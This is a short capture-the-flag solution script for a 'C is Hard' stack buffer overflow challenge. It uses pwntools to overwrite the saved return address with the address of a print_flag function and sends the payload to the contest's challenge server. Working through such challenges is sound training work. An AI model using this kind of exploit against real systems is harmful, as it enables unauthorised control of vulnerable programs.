Codefest: C is Hard - Basic Stack Buffer Overflow [#pwn]

cishard.py

#!/usr/bin/env python3

from pwn import *

'''
gdb> info functions
0x00000000004011b6  print_flag
'''
addr = p64(0x4011b6)

payload = b""

'''
    0x0000000000401222 <+8>:     sub    rsp,0x20
    0x0000000000401226 <+12>:    lea    rax,[rbp-0x20]
'''
payload += b"A" * 0x20

'''
Overwrite RBP
'''
payload += b"B" * 0x8

'''
Overwrite RIP
'''
payload += addr

r = remote("chall.codefest.tech", 8780)
r.recvline()

r.sendline(payload)
data = r.recvline()
print(data.decode())